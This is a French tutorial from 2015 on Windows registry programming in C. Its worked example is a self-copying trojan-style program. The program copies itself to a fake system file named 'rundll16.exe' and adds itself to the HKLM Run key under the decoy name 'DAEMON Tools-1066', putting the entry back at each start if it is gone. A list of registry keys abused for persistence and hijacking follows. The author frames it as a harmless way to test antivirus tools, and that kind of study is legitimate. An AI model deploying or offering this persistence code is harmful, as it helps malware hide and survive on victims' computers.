0x01. PRINCIPES
Etant donné que la base de registre concerne Windows, il est logique qu'il y ait besoin d'inclure la bibliothèque de fonctions
Il faut d'abord savoir qu'un handle est objet (souvent réduit à un simple entier) contrôlant l'accès à d'autres objets ou structures de données. Souvent, un handle contrôle également l'acquisition et la libération des ressources (mémoire, accès réseau, etc.). Une utilisation courante des handles et le contrôle d'accès à des structures de données de longueur variable.
" handle " signifie en anglais poignée (de main), c'est donc grâce à cette variable (si elle est supérieure à 0) que nous pouvons nous associer à un objet (structure).
L'idée n'est pas très compliquée :
- On ouvre un handle de la clé, un peu comme on ouvre une porte de placard avant d'y mettre/prendre un vêtement
concrètement c'est un pointeur mémoire qui indique oà est l'adresse de la structure de type "registre".
- On attribue, ou on lit une valeur à l'endroit spécifié
- On ferme le handle
Voici donc la fonction qui permet d'ouvrir un handle : RegOpenKeyEx
et celle qui permet de le fermer : RegCloseKey
RegOpenKeyEx( RUCHE , BRANCHE , RESERVE=0 , DROIT D'ACCES , HANDLE ) RegCloseKey( HANDLE )
Une branche est au registre ce que l'URL à Internet et le chemin à un explorateur de fichier. Une branche définit un chemin à emprunter afin d'obtenir la donnée qui nous intéresse. La ruche est la base de cette branche, un peu comme C:/ qui est la racine du chemin C:/Windows/System32, Windows/System32 est le chemin :
Ruches Exemples de branche ------------------- ------------------- HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT/exefile/shell/open/command HKEY_CURRENT_USER HKEY_CURRENT_USER/Control Panel/Cursors HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters HKEY_USERS HKEY_USERS/S-1-5-21-507921405-1788223648-682003330-1003/Control Panel/Cursors HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG/Software/Microsoft/windows/CurrentVersion/Internet Settings S-1-5-21-507921405-1788223648-682003330-1003 représente l'identifiant utilisateur (UserID, UID) HKEY_CURRENT_USER = HKEY_USERS/S-1-5-21-507921405-1788223648-682003330-1003 Droits d'accès : - Lecture : KEY_QUERY_VALUE - Ecriture : KEY_ALL_ACCESS
Avec ces informations, on peut donc commencer à écrire le début de notre programme, avec l'entête, la valeur et la branche. La valeur est ce qui va initialiser la donnée qui est à l'intérieur de la branche. Dans :
HKEY_CLASSES_ROOT/exefile/InfoTip
HKEY_CLASSES_ROOT est la ruche
exefile est le chemin
InfoTip est la donnée
prop:FileDescription;Company;FileVersion;Create;Size est la valeur de la donnée
#include <windows.h> // Les valeurs pour le registre et la cible char *value="c://windows//system32//rundll16.exe/0"; char *where="SOFTWARE//Microsoft//Windows//CurrentVersion//Run"; char *data="DAEMON Tools-1066";
0x02. ECRITURE
Le fonction d'écriture va utiliser les paramètres d'ouverture de la clé en plus du handle retourné par la fcontion RegOpenKeyEx qui va permettre l'accès aux valeurs du registre.
RegSetValueEx( HANDLE , NOM , RESERVE=NULL , TYPE , VALEUR , LONGEUR DE LA CHAINE ) HANDLE : Le handle de la clé NOM : Nom de la clé, dans le registre à une clé est attribuée une valeur TYPE : Détermine le type de donnée à écrire. VALEUR : La valeur à écrire LONGEUR DE LA CHAINE : Et la longueur de la valeur à écrire Type de données REG_SZ : Type de données équivalent à une chaine de caractère REG_MULTI_SZ : Texte de plusieurs lignes (MULTI LINE STRING) REG_EXPAND_SZ : Contient une chaine de caractère étendue REG_DWORD : Equivalent à 'int' en C, c'est en réalité un mot de 32 bits (4 octets) REG_QWORD : Correspond à un mot de 64 bits (8 octets) (PC à base de 64bits) REG_BINARY : Contient des données binaires (édition héxadécimalle)
Il est temps d'adapter cette fonction au langage C. Le code ci-dessous est suffisaement commenté pour y ajouter des explications
// Inscription dans la base de registre de la valeur 'value' dans la branche 'where' void WriteInRegistry() { // HKEY est un objet de type 'int' utilisé pour renvoyer l'adresse // de la structure à laquelle on peut s'associer HKEY key; if ( //--- Début du 'if' // Si on arrive à ouvrire la branche en écriture, c'est qu'on est autorisé. // Selon les endroits du registres des autorisations sont différentes, cette branche du registre // est accessible par tout le monde, par défaut. L'idéal est de la restreindre à tout le monde // sauf à l'administrateur RegOpenKeyEx(HKEY_LOCAL_MACHINE, where, 0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS // // Au sens littéral cet appel pourrait se lire : // // Ouvre la clé 'where' situé en 'HKEY_LOCAL_MACHINE' grâce à // la poignée 'key' dont je connais l'adresse. // Je suis autorisé (KEY_ALL_ACCESS). // ) //--- Fin du 'if' { // Si l'ouverture de la clé ne pose pas de problème alors on inscrit // La valeur 'value' de longueur 'strlen(value)' et de type 'REG_SZ' // toujours avec notre poignée RegSetValueEx(key, data, NULL, REG_SZ, (LPBYTE)value, strlen(value) ); } // Quand on ouvre un flux avec un 'handle' on doit le refermer avec // le même 'handle' RegCloseKey(key); }
0x03. LECTURE
La lecture et l'écriture sont relativement similaire à la différence près l'écriture envoie une donnée tandis que la lecture réceptionne une donnée. Vous remarquerez qu'il faut prévoir une taille pour la longueur des données, c'est dû au type de donnée.
LONG RegQueryValueEx ( HANDLE , ADRESSE DE LA CLE , CLE , RESERVE=NULL, TYPE , BUFFER , TAILLE ) HANDLE : Handle de la sous-clé à consulter ou tout autre handle de clé prédéfinie. ADRESSE DE LA CLE : Pointeur vers une chaine de caractères contenant le nom de la clé dont la valeur est demandée. CLE : Pointeur vers une chaine de caractères contenant le nom de la valeur à lire. TYPË : Type de données stockées dans la valeur (voir la fonction RegEnumValue) BUFFER : Pointeur vers le tampon recevant les données stockées dans la valeur. TAILLE : Pointeur vers un DWORD contenant le nombre d'octets disponibles dans le tempon lpData. Après l'appel, le système définit le contenu sur le nombre d'octets véritablement copiés.
La fonction associée :
// Vérifie si le programme est bien au démarrage, sinon la (re)met void VerifyRegistry() { // HKEY : Handle KEY, en français : poignée de clé // un 'int' qui en dit long sur l'endroit et comment aller dans // une autre structure... la base de registre, à noter que les // FILE sont du même genre sauf qu'on doit l'uiliser en pointeur. HKEY key; // On suppose que la valeur à lire ne dépasse pas 50 octets, sinon... BOF ! char buff [50] ; unsigned long taille=50; // On vérifie toujours si on a accès à la clé de registre à laquelle on veut aller // A noter que le chemin est décomposer entre la ruche et la branche if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, where,0,KEY_ALL_ACCESS,&key) == ERROR_SUCCESS ) { // On récupère dans 'buff' la valeur de la donnée 'data' pour vérifier // si c'est la bonne valeur ou non, pour ça on intérroge la clé et on lit // au plus 50 octets if( RegQueryValueEx(key, data, NULL, NULL, (char *)&buff, (unsigned long *)&taille) == ERROR_SUCCESS ) { // On vérifie que la valeur lue 'data' // est ma même que la valeur qu'on désir mettre. if( strcmpi(buff,value) ) { // Si ce n'est pas le cas, on se réinscrit dans le registre WriteInRegistry(); } } } // Nous avons fini avec le handle. RegCloseKey(key); }
0x04. PROGRAMME
Le reste du programme qui va comporter la fonction lui permettant de se copier sur un chemin précis du disque dur (cf. l'entete du programme) et de s'inscrire à chaque démarrage de Windows, il n'est pas déjà inscrit. C'est le comportement d'un trojan ou d'une backdoor - dont la furtivité est médiocre, mais c'est un point de sécurité à ne pas négliger et surtout vérifier que l'antivirus ou un autre programme est là pour protéger des accès au registre.
// Le programme se copie lui-même int CopyExe(char *fsource,char *cible ) { char buffer [1024] ; int nb_lus,nb_ecrits; int source, destination; if((int)(source=open(fsource,O_RDONLY|O_BINARY))<0) return(2); if( ( destination=open(cible, O_WRONLY| O_CREAT| O_TRUNC| O_BINARY, S_IREAD| S_IWRITE| S_IEXEC) ) < 0 ) return(2); do { nb_lus=read(source,(char *)buffer,1024); if (nb_lus>0) nb_ecrits= write(destination,(char*)buffer, nb_lus); } while ( (nb_lus==1024) && (nb_ecrits>0) ); close(source); close(destination); return 0; }
Le programme principal tout petit...
// Programme principal void main() { CopyExe(argv [0] ,value); VerifyRegistry(); }
0x05. CLES DE REGISTRE
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/hivelist HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Internet Settings HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/policies/Explorer HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer HKEY_CLASSES_ROOT/exefile/shell/open/command HKEY_CLASSES_ROOT/batfile/shell/open/command
0x06. CONCLUSION
Comme on pu le voir l'accès au registre n'est pas trop complexe, et c'est pourquoi les virus n'hésitent pas à empreinter ce chemin pour s'incruster dans votre système, une bonne expérience à faire est de lancer ce programme (inoffensif) et de voir la réaction de vos outils de protection.
=> Écrit par : Nicolas, le 06 juillet 2015